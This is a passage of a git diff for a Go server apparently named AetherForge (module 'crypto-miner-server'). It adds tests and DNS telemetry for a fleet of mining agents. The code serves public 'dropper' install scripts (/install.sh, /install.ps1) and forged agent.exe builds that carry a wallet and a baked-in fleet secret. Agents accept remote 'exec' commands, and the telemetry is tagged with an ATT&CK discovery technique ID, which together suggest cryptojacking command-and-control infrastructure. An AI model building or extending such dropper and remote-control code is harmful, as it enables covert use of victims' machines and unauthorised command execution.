+ h.ServeHTTP(rec, req)
+ if !called || rec.Code != http.StatusNoContent {
+ t.Fatalf("OPTIONS should bypass auth: called=%v status=%d", called, rec.Code)
+ }
+}
+
+func TestBasicAuthMiddlewareHealthPublic(t *testing.T) {
+ resetAuthState(t)
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusOK)
+ }))
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("health should be public, got %d", rec.Code)
+ }
+}
+
+func TestBasicAuthMiddlewareBuildDownloadPublic(t *testing.T) {
+ resetAuthState(t)
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusOK)
+ }))
+ paths := []string{
+ "/api/v1/builds/abc/download",
+ "/api/v1/builds/abc/artifact/worker.exe",
+ }
+ for _, path := range paths {
+ req := httptest.NewRequest(http.MethodGet, path, nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("%s should be public, got %d", path, rec.Code)
+ }
+ }
+}
+
+func TestBasicAuthMiddlewareDropperPublic(t *testing.T) {
+ resetAuthState(t)
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusOK)
+ }))
+ for _, path := range []string{"/get", "/install.sh", "/install.ps1"} {
+ req := httptest.NewRequest(http.MethodGet, path, nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("%s should be public, got %d", path, rec.Code)
+ }
+ }
+}
+
+func TestBasicAuthMiddlewareMissingCredentials(t *testing.T) {
+ resetAuthState(t)
+ usersMu.Lock()
+ authUsers["admin"] = "secret"
+ usersMu.Unlock()
+
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("handler should not run without auth")
+ }))
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusUnauthorized {
+ t.Fatalf("expected 401, got %d", rec.Code)
+ }
+ if !strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
+ t.Fatal("expected WWW-Authenticate header")
+ }
+}
+
+func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
+ resetAuthState(t)
+ hashed, err := hashPassword("correct")
+ if err != nil {
+ t.Fatal(err)
+ }
+ usersMu.Lock()
+ authUsers["admin"] = hashed
+ usersMu.Unlock()
+
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("handler should not run with bad password")
+ }))
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
+ req.SetBasicAuth("admin", "wrong")
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusUnauthorized {
+ t.Fatalf("expected 401, got %d", rec.Code)
+ }
+}
+
+func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
+ resetAuthState(t)
+ hashed, err := hashPassword("correct")
+ if err != nil {
+ t.Fatal(err)
+ }
+ usersMu.Lock()
+ authUsers["admin"] = hashed
+ usersMu.Unlock()
+
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusOK)
+ }))
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
+ req.SetBasicAuth("admin", "correct")
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected 200, got %d", rec.Code)
+ }
+ if !authCacheHit("admin", "correct") {
+ t.Fatal("successful auth should populate cache")
+ }
+}
+
+func TestBasicAuthMiddlewareAgentPathFleetSecret(t *testing.T) {
+ resetAuthState(t)
+ SetAgentPathSecret("fleet-secret-123")
+
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusOK)
+ }))
+
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusForbidden {
+ t.Fatalf("missing fleet secret should be 403, got %d", rec.Code)
+ }
+
+ req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
+ req.Header.Set("X-Fleet-Secret", "fleet-secret-123")
+ rec = httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("valid fleet secret should pass, got %d", rec.Code)
+ }
+}
+
+func TestRouterPostUsersValidation(t *testing.T) {
+ router, _ := newTestRouter(t)
+
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader([]byte(`{}`)))
+ req.SetBasicAuth(testAuthUser, testAuthPass)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("empty payload should be 400, got %d body=%s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestRouterPostUsersSuccess(t *testing.T) {
+ router, dataDir := newTestRouter(t)
+
+ body, _ := json.Marshal(map[string]string{"username": "newop", "password": "newpass"})
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
+ req.SetBasicAuth(testAuthUser, testAuthPass)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
+ }
+
+ usersPath := filepath.Join(dataDir, "users.json")
+ data, err := os.ReadFile(usersPath)
+ if err != nil {
+ t.Fatal(err)
+ }
+ var users map[string]string
+ if err := json.Unmarshal(data, &users); err != nil {
+ t.Fatal(err)
+ }
+ if !checkPassword(users["newop"], "newpass") {
+ t.Fatal("new user password should be bcrypt stored and verifiable")
+ }
+}
+
+func TestRouterRotateSecretNotConfigured(t *testing.T) {
+ router, _ := newTestRouter(t)
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
+ req.SetBasicAuth(testAuthUser, testAuthPass)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusServiceUnavailable {
+ t.Fatalf("expected 503, got %d body=%s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestRouterRotateSecretSuccess(t *testing.T) {
+ router, _ := newTestRouter(t)
+ SetRotateSecretFn(func() (string, error) {
+ return "new-secret-token-xyz", nil
+ })
+ t.Cleanup(func() { SetRotateSecretFn(nil) })
+
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
+ req.SetBasicAuth(testAuthUser, testAuthPass)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["ok"] != true {
+ t.Fatalf("unexpected body: %v", body)
+ }
+}
+
+func TestRouterBuilderCancelNotFound(t *testing.T) {
+ router, _ := newTestRouter(t)
+ req := httptest.NewRequest(http.MethodDelete, "/api/v1/builder/cancel/missing-token", nil)
+ req.SetBasicAuth(testAuthUser, testAuthPass)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusNotFound {
+ t.Fatalf("expected 404, got %d body=%s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestRouterBuildDownloadNoAuth(t *testing.T) {
+ dataDir := t.TempDir()
+ seedTestUsers(t, dataDir)
+ database, err := db.New(dataDir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { database.Close() })
+
+ buildID := "dl-build"
+ buildDir := filepath.Join(dataDir, "builds", buildID)
+ if err := os.MkdirAll(buildDir, 0755); err != nil {
+ t.Fatal(err)
+ }
+ binPath := filepath.Join(buildDir, "agent.exe")
+ if err := os.WriteFile(binPath, []byte("fake-binary"), 0644); err != nil {
+ t.Fatal(err)
+ }
+ if err := database.InsertBuild(&models.BuildRecord{
+ ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+ FilePath: binPath, FileName: "agent.exe", Platform: "windows",
+ }); err != nil {
+ t.Fatal(err)
+ }
+
+ wsHub := NewWSHub(database)
+ cfg := &mockConfigProvider{}
+ configHandler := NewConfigHandler(database, cfg)
+ aiHandler := NewAIHandler(database)
+ fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
+ builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
+ blueprintHandler := NewBlueprintHandler(dataDir)
+ router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
+
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("download should be public, got %d body=%s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestRouterDropperInstallScriptsPublic(t *testing.T) {
+ router, _ := newTestRouter(t)
+ for _, path := range []string{"/install.sh", "/install.ps1"} {
+ req := httptest.NewRequest(http.MethodGet, path, nil)
+ req.Host = "forge.local:8989"
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("%s status=%d", path, rec.Code)
+ }
+ if !strings.Contains(rec.Body.String(), "AetherForge") {
+ t.Fatalf("%s missing branding", path)
+ }
+ }
+}
+
+func TestRouterSPAFallbackUnknownRoute(t *testing.T) {
+ router, _ := newTestRouter(t)
+ req := httptest.NewRequest(http.MethodGet, "/unknown-dashboard-route", nil)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected SPA fallback 200, got %d", rec.Code)
+ }
+ if !strings.Contains(rec.Body.String(), "AetherForge") {
+ t.Fatal("expected index.html fallback")
+ }
+}
+
+func TestRouterNoWebRootFallback(t *testing.T) {
+ dataDir := t.TempDir()
+ seedTestUsers(t, dataDir)
+ database, err := db.New(dataDir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { database.Close() })
+
+ wsHub := NewWSHub(database)
+ cfg := &mockConfigProvider{}
+ configHandler := NewConfigHandler(database, cfg)
+ aiHandler := NewAIHandler(database)
+ fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
+ builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
+ blueprintHandler := NewBlueprintHandler(dataDir)
+
+ router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
+
+ req := httptest.NewRequest(http.MethodGet, "/", nil)
+ rec := httptest.NewRecorder()
+ router.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected 200, got %d", rec.Code)
+ }
+ if !strings.Contains(rec.Body.String(), "No frontend configured") {
+ t.Fatalf("unexpected body: %s", rec.Body.String())
+ }
+}
diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go
index dc0a7f4..7fa67b6 100644
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -41,9 +41,9 @@ func checkDashboardWSToken(r *http.Request) bool {
}
user, pass := parts[0], parts[1]
usersMu.RLock()
- expectedPass, exists := authUsers[user]
+ stored, exists := authUsers[user]
usersMu.RUnlock()
- return exists && secureStringEqual(pass, expectedPass)
+ return exists && checkPassword(stored, pass)
}
var upgrader = websocket.Upgrader{
@@ -106,6 +106,8 @@ type WSHub struct {
agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string
+ // T1016 DNS drift detection — stores last seen resolver list per agent
+ agentDNS map[string][]string
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
@@ -120,6 +122,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
+ agentDNS: make(map[string][]string),
pingIntervalSec: 30,
}
}
@@ -519,6 +522,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
+ // DNS config (T1016)
+ DNSServers []string `json:"dns_servers,omitempty"`
+ DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
// Resource pressure
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
@@ -587,6 +593,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
+ // T1016 DNS drift detection
+ if len(stats.DNSServers) > 0 {
+ broadcast["dns_servers"] = stats.DNSServers
+ if stats.DNSSearchDomains != nil {
+ broadcast["dns_search_domains"] = stats.DNSSearchDomains
+ }
+ h.mu.Lock()
+ prev, hasPrev := h.agentDNS[agentID]
+ drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
+ h.agentDNS[agentID] = stats.DNSServers
+ h.mu.Unlock()
+ if drifted {
+ broadcast["dns_drifted"] = true
+ log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
+ }
+ }
+
if stats.SSHAvailable != nil {
broadcast["ssh_available"] = *stats.SSHAvailable
}
@@ -850,6 +873,25 @@ func mustMarshal(v interface{}) json.RawMessage {
return data
}
+// dnsEqual returns true when two DNS server lists contain the same addresses
+// regardless of order. Used for T1016 drift detection.
+func dnsEqual(a, b []string) bool {
+ if len(a) != len(b) {
+ return false
+ }
+ m := make(map[string]int, len(a))
+ for _, v := range a {
+ m[v]++
+ }
+ for _, v := range b {
+ m[v]--
+ if m[v] < 0 {
+ return false
+ }
+ }
+ return true
+}
+
// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
h.mu.RLock()
diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go
new file mode 100644
index 0000000..d99d790
--- /dev/null
+++ b/server/internal/api/websocket_test.go
@@ -0,0 +1,314 @@
+package api
+
+import (
+ "encoding/base64"
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+ "crypto-miner-server/internal/pool"
+
+ "github.com/gorilla/websocket"
+)
+
+const wsDefaultPingIntervalSec = 30
+
+func resetWSAuthUsers(t *testing.T, user, pass string) {
+ t.Helper()
+ hashed, err := hashPassword(pass)
+ if err != nil {
+ t.Fatal(err)
+ }
+ usersMu.Lock()
+ authUsers = map[string]string{user: hashed}
+ usersMu.Unlock()
+ t.Cleanup(func() {
+ usersMu.Lock()
+ authUsers = map[string]string{}
+ usersMu.Unlock()
+ })
+}
+
+func wsDashboardToken(user, pass string) string {
+ return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
+}
+
+func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
+ t.Helper()
+ srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
+ t.Cleanup(srv.Close)
+ wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
+ conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+ if err != nil {
+ t.Fatalf("dial: %v", err)
+ }
+ t.Cleanup(func() { _ = conn.Close() })
+ return conn, wsURL
+}
+
+func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interface{}) Message {
+ t.Helper()
+ data, _ := json.Marshal(payload)
+ if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
+ t.Fatal(err)
+ }
+ var resp Message
+ if err := conn.ReadJSON(&resp); err != nil {
+ t.Fatalf("read auth_response: %v", err)
+ }
+ return resp
+}
+
+func TestWSHubPingIntervalConstants(t *testing.T) {
+ hub := NewWSHub(nil)
+ if hub.pingIntervalSec != wsDefaultPingIntervalSec {
+ t.Fatalf("default ping interval = %d", hub.pingIntervalSec)
+ }
+ hub.SetPingInterval(5)
+ if hub.pingIntervalSec != wsDefaultPingIntervalSec {
+ t.Fatalf("below-minimum ping should clamp to %d, got %d", wsDefaultPingIntervalSec, hub.pingIntervalSec)
+ }
+ hub.SetPingInterval(15)
+ if hub.pingIntervalSec != 15 {
+ t.Fatalf("expected 15, got %d", hub.pingIntervalSec)
+ }
+ if hub.pingInterval().Seconds() != 15 {
+ t.Fatalf("pingInterval duration = %v", hub.pingInterval())
+ }
+}
+
+func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
+ resetWSAuthUsers(t, "dash", "secret-pass")
+ req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "secret-pass"), nil)
+ if !checkDashboardWSToken(req) {
+ t.Fatal("valid bcrypt user token should pass")
+ }
+ req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "wrong"), nil)
+ if checkDashboardWSToken(req) {
+ t.Fatal("wrong password should fail")
+ }
+ req = httptest.NewRequest(http.MethodGet, "/ws/dashboard", nil)
+ if checkDashboardWSToken(req) {
+ t.Fatal("missing token should fail")
+ }
+}
+
+func TestHandleDashboardWSUnauthorized(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+
+ srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+ t.Cleanup(srv.Close)
+
+ wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
+ _, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
+ if err == nil {
+ t.Fatal("expected dial failure without token")
+ }
+ if resp == nil || resp.StatusCode != http.StatusUnauthorized {
+ t.Fatalf("expected 401 upgrade rejection, got err=%v status=%v", err, resp)
+ }
+}
+
+func TestHandleDashboardWSAuthorizedInit(t *testing.T) {
+ resetWSAuthUsers(t, testAuthUser, testAuthPass)
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+
+ srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+ t.Cleanup(srv.Close)
+
+ wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+ conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
+ if err != nil {
+ t.Fatalf("dial: %v status=%v", err, resp)
+ }
+ t.Cleanup(func() { _ = conn.Close() })
+
+ var msg Message
+ if err := conn.ReadJSON(&msg); err != nil {
+ t.Fatalf("read init: %v", err)
+ }
+ if msg.Type != "init" {
+ t.Fatalf("expected init message, got %q", msg.Type)
+ }
+}
+
+func TestHandleAgentWSBadFleetSecret(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+ hub.SetFleetSecret("required-secret")
+
+ conn, _ := dialAgentWS(t, hub)
+ resp := authAgentConn(t, conn, map[string]interface{}{
+ "agent_id": "agent-bad-secret", "fleet_secret": "wrong", "hostname": "host",
+ })
+ var body map[string]interface{}
+ if err := json.Unmarshal(resp.Payload, &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["success"] != false {
+ t.Fatalf("expected auth failure, got %+v", body)
+ }
+ if hub.isAgentConnected("agent-bad-secret") {
+ t.Fatal("agent should not register with bad fleet secret")
+ }
+}
+
+func TestHandleAgentWSStatsAndLogTail(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+ agentID := "stats-agent"
+ conn := connectTestAgent(t, hub, agentID)
+
+ statsPayload, _ := json.Marshal(map[string]interface{}{
+ "hashrate_15s": 100.0, "hashrate_1m": 90.0, "hashrate_15m": 80.0,
+ "shares_submitted": 5, "shares_accepted": 4,
+ "cpu_usage_pct": 12.5, "memory_usage_pct": 40.0, "uptime_seconds": 60,
+ })
+ if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
+ t.Fatal(err)
+ }
+
+ logPayload, _ := json.Marshal(map[string]interface{}{"content": "line1\nline2", "lines": 2})
+ if err := conn.WriteJSON(Message{Type: "log_tail", Payload: logPayload}); err != nil {
+ t.Fatal(err)
+ }
+ time.Sleep(50 * time.Millisecond)
+ if got := hub.GetAgentLog(agentID); got != "line1\nline2" {
+ t.Fatalf("log tail = %q", got)
+ }
+
+ cmdPayload, _ := json.Marshal(map[string]interface{}{"action": "exec", "success": true})
+ if err := conn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
+ t.Fatal(err)
+ }
+}
+
+func TestHandleAgentWSMaxAgentsPolicy(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+ hub.SetServerPolicy(ServerPolicy{MaxAgents: 1})
+
+ conn1, _ := dialAgentWS(t, hub)
+ authAgentConn(t, conn1, map[string]interface{}{"agent_id": "first", "hostname": "h1"})
+
+ conn2, _ := dialAgentWS(t, hub)
+ resp := authAgentConn(t, conn2, map[string]interface{}{"agent_id": "second", "hostname": "h2"})
+ var body map[string]interface{}
+ if err := json.Unmarshal(resp.Payload, &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["success"] != false {
+ t.Fatalf("second agent should be rejected at max=1: %+v", body)
+ }
+}
+
+func TestHandleAgentWSInvalidAuthPayload(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+ conn, _ := dialAgentWS(t, hub)
+ if err := conn.WriteJSON(Message{Type: "auth", Payload: json.RawMessage(`"not-an-object"`)}); err != nil {
+ t.Fatal(err)
+ }
+ var resp Message
+ if err := conn.ReadJSON(&resp); err != nil {
+ t.Fatal(err)
+ }
+ var body map[string]interface{}
+ _ = json.Unmarshal(resp.Payload, &body)
+ if body["success"] != false {
+ t.Fatalf("invalid auth payload should fail: %+v", body)
+ }
+}
+
+func TestWSHubSendAgentCommandNotConnected(t *testing.T) {
+ hub := NewWSHub(nil)
+ if err := hub.SendAgentCommand("missing", "restart", nil); err == nil {
+ t.Fatal("expected error for disconnected agent")
+ }
+}
+
+func TestWSHubBroadcastHelpers(t *testing.T) {
+ hub := NewWSHub(nil)
+ hub.BroadcastServerLog(" ")
+ hub.BroadcastFleetAlert(map[string]string{"level": "info"})
+ hub.BroadcastPoolStatus(map[string]string{"connected": "true"})
+ hub.BroadcastAIActivity(map[string]string{"agent_id": "a"})
+}
+
+func TestWSHubEnrichAgentsCapabilities(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+ agentID := "cap-agent"
+ connectTestAgent(t, hub, agentID)
+
+ agents := []*models.Agent{{ID: agentID, Name: "x"}}
+ hub.enrichAgentsCapabilities(agents)
+ if agents[0].Capabilities == nil {
+ t.Fatal("expected capabilities enrichment")
+ }
+}
+
+func TestWSHubAgentPoolConfigDefaults(t *testing.T) {
+ hub := NewWSHub(nil)
+ hub.defaultPool = pool.Config{Host: "primary.pool", Port: 3333, Wallet: "48wallet", Password: "pw"}
+ hub.agentConfigs["a1"] = AgentForgeConfig{PoolHost: "custom.pool", PoolPort: 4444}
+ cfg := hub.agentPoolConfig("a1")
+ if cfg.Host != "custom.pool" || cfg.Port != 4444 {
+ t.Fatalf("unexpected pool cfg: %+v", cfg)
+ }
+ cfg = hub.agentPoolConfig("missing")
+ if cfg.Host != "primary.pool" {
+ t.Fatalf("missing agent should use default pool: %+v", cfg)
+ }
+}
+
+func TestWSHubConnectedAgentCount(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ hub := NewWSHub(database)
+ if hub.connectedAgentCount() != 0 {
+ t.Fatal("expected zero agents initially")
+ }
+ connectTestAgent(t, hub, "count-agent")
+ if hub.connectedAgentCount() != 1 {
+ t.Fatalf("expected 1 connected agent, got %d", hub.connectedAgentCount())
+ }
+}
diff --git a/server/internal/api/ws_types_test.go b/server/internal/api/ws_types_test.go
new file mode 100644
index 0000000..0d8b8dc
--- /dev/null
+++ b/server/internal/api/ws_types_test.go
@@ -0,0 +1,30 @@
+package api
+
+import (
+ "encoding/json"
+ "testing"
+)
+
+func TestWSTypesJSONRoundTrip(t *testing.T) {
+ cases := []struct {
+ name string
+ in interface{}
+ }{
+ {"stats", WSStatsUpdate{AgentID: "a1", Hashrate15m: 123.4, CPUUsagePct: 50}},
+ {"offline", WSAgentOffline{AgentID: "a1"}},
+ {"command", WSCommandResult{AgentID: "a1", Action: "exec", Success: true, Message: "ok"}},
+ {"log", WSAgentLog{AgentID: "a1", Content: "tail"}},
+ {"server_log", WSServerLog{Line: "started"}},
+ }
+ for _, tc := range cases {
+ t.Run(tc.name, func(t *testing.T) {
+ data, err := json.Marshal(tc.in)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(data) == 0 {
+ t.Fatal("empty JSON")
+ }
+ })
+ }
+}
diff --git a/server/internal/db/builds_test.go b/server/internal/db/builds_test.go
index a231793..6392da6 100644
--- a/server/internal/db/builds_test.go
+++ b/server/internal/db/builds_test.go
@@ -3,6 +3,7 @@ package db
import (
"database/sql"
"errors"
+ "strings"
"testing"
"time"
@@ -92,6 +93,24 @@ func TestSetPinnedBuild(t *testing.T) {
}
}
+func TestSetPinnedBuildUnknownID(t *testing.T) {
+ d := openTestDB(t)
+ now := time.Now()
+ insertBuild(t, d, &models.BuildRecord{ID: "b1", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now, Pinned: true})
+
+ err := d.SetPinnedBuild("missing")
+ if err == nil {
+ t.Fatal("expected error for unknown build id")
+ }
+ if !strings.Contains(err.Error(), "not found") {
+ t.Fatalf("unexpected error: %v", err)
+ }
+ b1, _ := d.GetBuild("b1")
+ if b1.Pinned {
+ t.Fatal("unknown id should leave builds unpinned, not keep prior pin")
+ }
+}
+
func TestGetLatestBuildForPlatform(t *testing.T) {
d := openTestDB(t)
base := time.Now().UTC().Truncate(time.Second)
diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go
index 796d85c..357c046 100644
--- a/server/internal/db/sqlite.go
+++ b/server/internal/db/sqlite.go
@@ -307,7 +307,8 @@ func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildReco
}
// SetPinnedBuild unpins all builds then pins the one with the given id.
-// If id is empty, all builds are unpinned.
+// If id is empty, all builds are unpinned. Returns an error when id is
+// non-empty but no build row matches (avoids leaving all builds unpinned).
func (d *Database) SetPinnedBuild(id string) error {
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
if err != nil {
@@ -316,8 +317,18 @@ func (d *Database) SetPinnedBuild(id string) error {
if id == "" {
return nil
}
- _, err = d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
- return err
+ res, err := d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
+ if err != nil {
+ return err
+ }
+ n, err := res.RowsAffected()
+ if err != nil {
+ return err
+ }
+ if n == 0 {
+ return fmt.Errorf("build not found: %s", id)
+ }
+ return nil
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go
index 1b9fc24..c22a6c2 100644
--- a/server/internal/models/agent.go
+++ b/server/internal/models/agent.go
@@ -34,6 +34,11 @@ type Agent struct {
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
+ // DNS config — T1016 System Network Configuration Discovery
+ DNSServers []string `json:"dns_servers,omitempty"`
+ DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
+ DNSDrifted bool `json:"dns_drifted,omitempty"`
+
// Resource pressure — mining-specific runtime telemetry
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
diff --git a/server/internal/models/agent_test.go b/server/internal/models/agent_test.go
new file mode 100644
index 0000000..ad71e39
--- /dev/null
+++ b/server/internal/models/agent_test.go
@@ -0,0 +1,169 @@
+package models
+
+import (
+ "encoding/json"
+ "testing"
+ "time"
+)
+
+func roundTripJSON(t *testing.T, v any) {
+ t.Helper()
+ b, err := json.Marshal(v)
+ if err != nil {
+ t.Fatalf("marshal: %v", err)
+ }
+ ptr := newSameType(v)
+ if err := json.Unmarshal(b, ptr); err != nil {
+ t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
+ }
+}
+
